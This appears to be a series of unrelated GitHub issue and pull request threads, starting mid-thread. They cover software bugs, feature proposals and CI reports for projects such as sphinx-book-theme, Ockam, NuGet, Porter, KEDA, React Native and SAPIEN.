Another Problem with firing the notification before the transaction completed: Potential receivers of the notification might want to load the corresponding resource. But this might fail because the transaction has not yet completed. I see this every now and then (using a PostgreSQL DB)


Improve CSS for API documentation

In https://github.com/executablebooks/meta/discussions/286 @rscohn2 noticed that our CSS for API docs looks a bit wonky. @chrisjsewell pointed out that the CSS for this is here: https://github.com/executablebooks/sphinx-book-theme/blob/bdcf1065f0fbf92f786082b78c86af7a280651df/src/scss/_page.scss#L232-L234
so we should fix up the CSS there so that this type of API docs looks good!

I only have basic knowledge of CSS, but if someone could suggest what properties need to change I would like to try to fix this.

Do you have examples of this wonky looking pages?
I'm looking at https://sphinx-themes.org/sample-sites/sphinx-book-theme/demo/api.html, and it seems OK to me on mobile.

I added a custom.css with the following contents to fix the problem. Not sure if this is appropriate as a general fix.
/* A workaround for https://github.com/readthedocs/sphinx_rtd_theme/issues/647

Override display for function signatures so that there is spacing between
types and arguments */
dt {
display: table-cell !important;
}

Thanks for fixing it.


⚠ GitLab Server has degraded performance

In f0649ab, GitLab Server (https://gitlab01.its-telekom.eu) experienced degraded performance:

HTTP code: 200
Response time: 11494 ms

Resolved: GitLab Server performance has improved in 2b88427.


feat(rust): added get_project_version to cli and cloud project.rs

Current behavior
There is no request setup for receiving the project version on cloud/project.rs
Proposed changes
This PR adds the aforementioned request scaffolding and an endpoint in node/service.rs, solving https://github.com/build-trust/ockam/issues/4062
Checks

[X] All commits in this Pull Request are signed and Verified by Github.
[X] All commits in this Pull Request follow the Ockam commit message convention.
[X] I accept the Ockam Community Code of Conduct.
[X] I have accepted the Ockam Contributor License Agreement by adding my Git/Github details in a row at the end of the CONTRIBUTORS.csv file in a separate pull request to the build-trust/ockam-contributors repository. The easiest way to do this is to edit the CONTRIBUTORS.csv file in the github web UI and create a PR, this will mark the commit as verified.

cc @shanesveller @MichalDolata - I wanted to confirm if I got the API details right on this. let me know if this needs any further changes!

Looks good, other than the suggested change on the request route.

Which suggested change on request route?


Allow package owner to remove themselves

This should only be allowed if you're not the last package owner.
If you're the last package owner, you can simply unlist the package.

This is a "re-opening" of https://github.com/NuGet/NuGetGallery/issues/179. That issue is marked up for grabs, but is closed. It's unlikely anyone will find a closed issue and grab it, which is why I'm re-opening.

Assigning to @scottbommarito to validate this change deployed on int, since he merged the corresponding PR.

Verified with @skofman1 yesterday, closed duplicate issue


Soow responses in case management for large health centers

Issue

The case management takes long to load.
When the nurse goes through case management and do the home visit or subsequent encounter and end the encounter the patient doesn't move from case management.
these issue has been happening in different places different catchment areas.

#841
#838


Test projects has a .bin alias

The test projects have a .bin symbolic link checked in. Was that intentional? I had to delete them or my intellij just scanned files endlessly.   What that means is if I do a PR, I think they will be deleted in the PR. Bot sure how to keep then in the PR and and make my intellj work. It just kinda hangs when they are there.

These .bin s appear to be created when running the test projects and they got checked in. I deleted them in my fork to solve my issue.


Define required plugins on the agent config

We need a way to say which plugins are installed on the porter agent. Here's one way to make that work:

Create an AgentConfig and define which plugins you require:kind: AgentConfig
spec:
  plugins:
    - name: kubernetes
       feedUrl: https://cdn.porter.sh/plugins/atom.xml
       version: v1.2.3

The (new) AgentConfig controller sees the new AgentConfig

Looks for an existing PVC named using a hash of the plugin metadata. For example it would hash the plugin name + source + version and use that hash as the PVC name.
Creates a temporary PVC if it doesn't exist. Annotating it with the plugins used to create it.
Creates an AgentAction that mounts that PVC and runs porter plugins install for all the defined plugins
When the action completes, the AgentConfig controller, clones the PVC to a PVC named using the hash of the plugin metadata.

When the AgentAction controller creates the PorterAgent job, it uses the new plugins list on the agent action to generate that same hash, and mount that PVC. (We do the temp PVC and clone trick to ensure it's initalized before the pod runs, k8s will wait to schedule it until the PVC exists).
May need to tweak the agent to copy the contents from the mounted plugins PVC into $PORTER_HOME/plugins. I'm hoping we can use subPath to workaround this (https://kubernetes.io/docs/concepts/storage/volumes/#using-subpath)

Another way to implement this would be to add a status field like "ready to use" on the AgentConfig status. The AgentAction controller would wait for this to be ready before attempting to moving forward and make the porter agent job.
The AgentConfig controller would only set ready to true once the volume is populated with plugins.


[fix] (topn) fix uncleared block in topn_next() (#39119)

Proposed changes
pick from master #39119

run buildall


coverage: ratcheting

Commit Message:
Additional Description:
Risk Level:
Testing:
Docs Changes:
Release Notes:
Platform Specific Features:
[Optional Runtime guard:]
[Optional Fixes #Issue]
[Optional Fixes commit #PR or SHA]
[Optional Deprecated:]
[Optional API Considerations:]

Merged main and green, PTAL!


Working on Colab not locally

Hi,
Firstly thanks for this amazing idea. Also just wanted to let you know that I have got things working on Google colab however it's not working on my local machine. Using jupyter notebook, pytorch = 1.4, cuda installed. Getting following error -

init() got unexpected for num_stages
Just in case I comment that above lines, getting init() got an unexpected keyword argument 'bbox_roi_extractor'

I had that as well and I think it's when I was using the wrong version of mmdet. Are you using the same version as the one mentioned in the colab notebook?

Yes

Hi,
Firstly thanks for this amazing idea. Also just wanted to let you know that I have got things working on Google colab however it's not working on my local machine. Using jupyter notebook, pytorch = 1.4, cuda installed. Getting following error -

init() got unexpected for num_stages
Just in case I comment that above lines, getting init() got an unexpected keyword argument 'bbox_roi_extractor'

Hi, Hope you are doing great.
Can you please share your colab notebook since I am trying for 5 days and it's not even not working for me in colab.
I am getting this error:
ImportError: cannot import name 'isStringType'
Not sure how to resolve it, it would be really helpful if you can share your running notebook.
Thank you !!


feat: bump to 2.32.3

Description:

Related issue(s):
Fixes #
Notes for reviewer:

Checklist

[ ] Documented (Code comments, README, etc.)
[ ] Tested (unit, integration, etc.)

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 63.49%. Comparing base (89f7fa7) to head (0f65c2b).

Additional details and impacted files

@@           Coverage Diff           @@
##             main     #853   +/-   ##
=======================================
  Coverage   63.49%   63.49%
=======================================
  Files          30       30
  Lines        1219     1219
  Branches      147      147
=======================================
  Hits          774      774
  Misses        424      424
  Partials       21       21

----
🚨 Try these New Features:

Flaky Tests Detection - Detect and resolve failed and flaky tests
JS Bundle Analysis - Avoid shipping oversized bundles


Method setup does not exist on module HMRClient

Description
I'm stuck with an issue while run my react native app. The error message is "Method setup does not exist on module HMRClient". For more detail please find attached screenshot.

React Native Version
0.60.4
Output of npx react-native info
System:
OS: macOS 11.7.6
CPU: (8) x64 Intel(R) Core(TM) i7-4870HQ CPU @ 2.50GHz
Memory: 151.71 MB / 16.00 GB
Shell: 3.2.57 - /bin/bash
Binaries:
Node: 20.2.0 - /usr/local/bin/node
Yarn: 1.22.19 - /usr/local/bin/yarn
npm: 9.6.6 - /usr/local/bin/npm
Watchman: 2<IP_ADDRESS> - /usr/local/bin/watchman
SDKs:
iOS SDK:
Platforms: DriverKit 21.2, iOS 15.2, macOS 12.1, tvOS 15.2, watchOS 8.3
Android SDK:
API Levels: 28, 29, 30, 31, 33
Build Tools: 28.0.3, 29.0.2, 33.0.2, 34.0.0
System Images: android-33 | Google APIs Intel x86_64 Atom
IDEs:
Android Studio: 2022.2 AI-222.4459.24.2221.9862592
Xcode: 13.2.1/13C100 - /usr/bin/xcodebuild
npmPackages:
react: 16.8.6 => 16.8.6
react-native: 0.60.4 => 0.60.4
npmGlobalPackages:
react-native-cli: 2.0.1
Steps to reproduce

Issue reproduces every time app starts by using npx react-native run-android

Snack, code example, screenshot, or link to a repository

Closing as you're on a too old version of React Native and we sadly can't offer support for those.

@DevAxis1 did you fix this error? I'm trying fix too!

I face same problem when compile in old react native 0.60.6.
i update configures in project build.gradle file to solve it ,  good luck.
   ext {         buildToolsVersion = "33.0.0"         minSdkVersion = 21         compileSdkVersion = 33         targetSdkVersion = 33         supportLibVersion = "28.0.0"         agp_version = '4.2.2'     }


updating to mdc 35

Failed pictures (24): failed-pictures.zip

:postbox: Posted by artipost.io, through Travis build 373713834, for commit a93405b.

@filoozom @YePpHa for your review

Failed pictures (26): failed-pictures.zip

:postbox: Posted by artipost.io, through Travis build 374205039, for commit 4db9a3a.

Failed pictures (1): failed-pictures.zip

:postbox: Posted by artipost.io, through Travis build 374209371, for commit 232bcf2.

Failed pictures (2): failed-pictures.zip

:postbox: Posted by artipost.io, through Travis build 374220841, for commit 5359f68.

Failed pictures (2): failed-pictures.zip

:postbox: Posted by artipost.io, through Travis build 374468238, for commit 0d6104f.

Failed pictures (2): failed-pictures.zip

:postbox: Posted by artipost.io, through Travis build 374470964, for commit c488497.


Add github action to build app

nice! https://github.com/yulrizka/osx-push-to-talk/runs/1274518332?check_suite_focus=true


Add date format string

Given Design Studio's treatment of dates as "Mon DD, YYYY", it'd be helpful if the .format() method allowed a format string of that form, so that one could get back a date string that is readily usable for passing to Data Source query prompts, etc.

Hi Henry,
there is new method in REALDATE - formatWithMask(). check if this solves your topic.
The change is done in PREVIEW release, not yet on STABLE.
Karol

I installed the preview version of the package, but it doesn’t appear to be installing it’s objects.  I ran into this the other day when I tried to install the 1.4 stable package.  I had no objects.  I had to go to the 1.3 stable to get the objects.  This even though my version is 1.4 (Version 14.0.3).  Not sure what’s going on.
Henry Taylor
Agri Stats
260-407-2715
<EMAIL_ADDRESS>From: Karol Kalisz<EMAIL_ADDRESS>Sent: Thursday, April 09, 2015 1:57 PM
To: org-scn-design-studio-community/sdkpackage
Cc: Henry Taylor
Subject: Re: [sdkpackage] Add date format string (#45)
Hi Henry,
there is new method in REALDATE - formatWithMask(). check if this solves your topic.
The change is done in PREVIEW release, not yet on STABLE.
Karol
—
Reply to this email directly or view it on GitHubhttps://github.com/org-scn-design-studio-community/sdkpackage/issues/45#issuecomment-91310752.
CONFIDENTIALITY NOTICE: The information contained in this email (and any attachments) is privileged and confidential and protected from disclosure. If you are not the intended recipient of this email or the attachments, be aware that any disclosure, copying, distribution or use of this email or any attachment is strictly prohibited and you should not read the message or read or open any attachment. If you have received this email by mistake, please immediately notify the sender and delete it permanently from your system. Agri Stats, Inc. and its subsidiaries will not be held liable to any person or entity resulting from the unintended or unauthorized use of any information contained in this email.


[AutoPR datafactory/resource-manager] [Datafactory] ADLS Gen 2 support for HDI BYOC and vNet support for HDI on demand

Created to sync https://github.com/Azure/azure-rest-api-specs/pull/6204

This PR has been merged into https://github.com/Azure/azure-sdk-for-js/pull/3577


Add sites metadata in Groups backup

Add sites metadata (previous paths) under groupID/libraries/sites/previouspath.

Does this PR need a docs update or release note?

[ ] :white_check_mark: Yes, it's included
[ ] :clock1: Yes, but in a later PR
[x] :no_entry: No

Type of change

[x] :sunflower: Feature
[ ] :bug: Bugfix
[ ] :world_map: Documentation
[ ] :robot: Supportability/Tests
[ ] :computer: CI/Deployment
[ ] :broom: Tech Debt/Cleanup

Issue(s)

#

Test Plan

[ ] :muscle: Manual
[x] :zap: Unit test
[ ] :green_heart: E2E

Added a test as well @ryanfkeepers. This should now be good to go.


svulkan2 warning for hello_world.py in tutorial

System:

OS version: [Ubuntu 20.04]
Python version (if applicable): [Python 3.9]
SAPIEN version (pip freeze | grep sapien): 1.1.1
Environment: [Desktop]

When running hello_world.py from tutorial, the vulkan window initiated shows only blank without proper rendering of scene. Clicking or forcing it to close won't make it response.
The error message is
[2022-03-14 13:27:49.696] [svulkan2] [warning] requested: 0, 0; available 1024-1024, 768-768
which seems to imply some resolution problem, but I knew no more and failed to search information about svulkan2. I checked my nvidia driver or vulkan and detect no problem. What could possibly go wrong?

The warning is probably not a big problem.
Can you try install sapien==2.0a?
I believe version 1 can have issues with the drivers. It never happened to me but I tried to fix it anyway.
If there are still issues, maybe you can first try running standard testing applications for vulkan such as vkcube to see if there is a deeper driver problem.

The warning is probably not a big problem. Can you try install sapien==2.0a? I believe version 1 can have issues with the drivers. It never happened to me but I tried to fix it anyway. If there are still issues, maybe you can first try running standard testing applications for vulkan such as vkcube to see if there is a deeper driver problem.

Installing 2.0a did the trick. still the warning message remained, but now i can render the scene properly. thanks for your help!

The warning is now removed in dev.


Make GCP PubSub Scaler more flexible

Proposal
Recently we are adopting KEDA due to its rich scalers, which are fantastic.
 One of metrics we used is pubsub.googleapis.com/subscription/pull_ack_request_count, which is not supported by KEDA.
According to the current design, if we want to add support to new metrics^1, what we do is mostly like https://github.com/kedacore/keda/pull/4239.
Thus, in order to make it more flexible, I would like to propose a new way for pubsubScaler. Perhaps we don't need to hardcode metrics, instead, we convert the mode defined in the ScaledObject CRD.
For example, it is the scaled object manifest below.
apiVersion: keda.sh/v1alpha1
kind: ScaledObject
metadata:
  name: example
spec:
  scaleTargetRef:
    apiVersion: apps/v1
    kind: Deployment
    name: example
  triggers:
  - type: gcp-pubsub
    metricType: Value
    metadata:
      mode: PullAckRequestCount
      subscriptionName: example
      value: "10"

Simply convert PullAckRequestCount (camel case) to pull_ack_request_count (snake case), and concatenate it with pubsub.googleapis.com/subscription/, then we get the full metric name.
I'm not sure if it's a good design. Need to discuss this with the community.
BTW, another concern is that it's hard to define default values in this way, people won't use default values in real cases though. Maybe it's okay to give an arbitrary number, e.g. 5.
Use-Case
No response
Is this a feature you are interested in implementing yourself?
Yes
Anything else?
No response

I see https://github.com/kedacore/keda/pull/4239 is already open - Just for future reference; you might want to wait until we give the go in case we want another approach:)

I see #4239 is already open - Just for future reference; you might want to wait until we give the go in case we want another approach

Thanks. I just come up with this idea after #4239. : D

Hi, in general I like the idea!

Thus, in order to make it more flexible, I would like to propose a new way for pubsubScaler. Perhaps we don't need to hardcode metrics, instead, we convert the mode defined in the ScaledObject CRD.
I concerned that this convertion would cause problems. Maybe we can introduce a new field and slowly deprecate the current mode?

BTW, another concern is that it's hard to define default values in this way, people won't use default values in real cases though. Maybe it's okay to give an arbitrary number, e.g. 5.

which default values do you mean?

Hi, in general I like the idea!

Thus, in order to make it more flexible, I would like to propose a new way for pubsubScaler. Perhaps we don't need to hardcode metrics, instead, we convert the mode defined in the ScaledObject CRD.
I concerned that this convertion would cause problems. Maybe we can introduce a new field and slowly deprecate the current mode?

BTW, another concern is that it's hard to define default values in this way, people won't use default values in real cases though. Maybe it's okay to give an arbitrary number, e.g. 5.

which default values do you mean?

There are default values for each metric currently. But I think it's no big deal. We could probably set an arbitrary number as the default value.
https://github.com/kedacore/keda/blob/38a0e1c170c7d7f1329e47f0bcc070ffc3191503/pkg/scalers/gcp_pubsub_scaler.go#L20-L21

Hi @JorTurFer,
I see you've moved this issue to the To Do section. Am I able to draft a PR now? 😄

Hi @JorTurFer,
I see you've moved this issue to the To Do section. Am I able to draft a PR now? 😄

Hey,
Yes, sure! 😄  But you don't need to wait until the issues change their status because sometimes they aren't up-to-date. The state is for internal managing (like knowing in progress/done actions).
After you are sure that the feature/fix is useful, you can draft a PR whenever you want, the status change isn't required :)


Can't Download complete video/course on learning.oreilly.com(1 min video length)

Checklist

[ ] I'm asking a question
[ ] I've looked through the README and FAQ for similar questions
[ ] I've searched the bugtracker for similar questions including closed ones

Question

Hey, i am unable to download complete video from learning.oreilly.com using youtube-dl application, i am getting 1 min video only. Please suggest some solution for this issue.
For Ex:- https://learning.oreilly.com/videos/software-architecture-fundamentals/9781491998991

There is a PR that I'm waiting to be merged as it would solve this problem.


chore: remove leftovers of certificates

cause it's just dead code.
have a look at CertificatesPage (it's not imported anywhere) and then follow the threads to everything that has been removed.

:tada: This PR is included in version 5.0.36 :tada:
The release is available on:

v5.0.36
GitHub release

Your semantic-release bot :package::rocket: